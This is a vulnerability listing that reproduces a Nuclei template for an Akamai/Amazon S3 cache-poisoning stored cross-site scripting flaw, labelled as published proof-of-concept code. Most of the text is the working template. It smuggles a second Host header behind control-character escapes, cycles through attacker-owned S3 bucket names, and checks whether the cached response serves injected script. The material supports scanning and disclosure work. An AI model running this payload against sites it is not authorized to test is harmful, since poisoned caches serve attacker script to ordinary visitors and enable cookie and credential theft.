Akamai/Amazon S3 expose a stored cross-site scripting vulnerability generated by cache poisoning capability. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site, which can further allow the attacker to steal cookie-based authentication credentials and launch other attacks.
PoC代码[已公开]
id: akamai-s3-cache-poisoning
info:
name: Akamai/Amazon S3 - Cache Poisoning
author: DhiyaneshDk
severity: high
description: Akamai/Amazon S3 expose a stored cross-site scripting vulnerability generated by cache poisoning capability. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site, which can further allow the attacker to steal cookie-based authentication credentials and launch other attacks.
reference:
- https://web.archive.org/web/20230101082612/https://spyclub.tech/2022/12/14/unusual-cache-poisoning-akamai-s3/
- https://owasp.org/www-community/attacks/Cache_Poisoning
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
cvss-score: 7.1
cwe-id: CWE-44
metadata:
verified: true
max-request: 204
tags: cache,poisoning,xss,akamai,s3,misconfig,vuln
variables:
rand: "{{rand_base(5)}}"
http:
- raw:
- |+
GET /nuclei.svg?{{rand}}=x HTTP/1.1
Host: {{Hostname}}
{{escape}}Host: {{bucket}}
- |+
GET /nuclei.svg?{{rand}}=x HTTP/1.1
Host: {{Hostname}}
attack: clusterbomb
payloads:
escape:
- "\v"
- "\f"
- "\x1c"
- "\x1d"
- "\x1e"
- "\x1f"
bucket:
- "nuclei-ap-northeast-1"
- "nuclei-ap-northeast-2"
- "nuclei-ap-northeast-3"
- "nuclei-ap-south-1"
- "nuclei-ap-southeast-1"
- "nuclei-ap-southeast-2"
- "nuclei-ca-central-1"
- "nuclei-eu-central-1"
- "nuclei-eu-north-1"
- "nuclei-eu-west-1"
- "nuclei-eu-west-2"
- "nuclei-eu-west-3"
- "nuclei-sa-east-1"
- "nuclei-us-east-1"
- "nuclei-us-east-2"
- "nuclei-us-west-1"
- "nuclei-us-west-2"
stop-at-first-match: true
unsafe: true
matchers:
- type: dsl
dsl:
- 'contains(body_2, "alert(document.domain)")'
- 'status_code_2 == 200'
condition: and
# digest: 4a0a00473045022100aac77893e88ddd18fa4d35f6705e1c26d8bae5b910fd71e4573605d9a89128b202202c7a38d6c4a33b43f839a137c74af1f3d51616f8f18187ef6acec46b564fd3dc:922c64590222798bb761d5b6d8e72950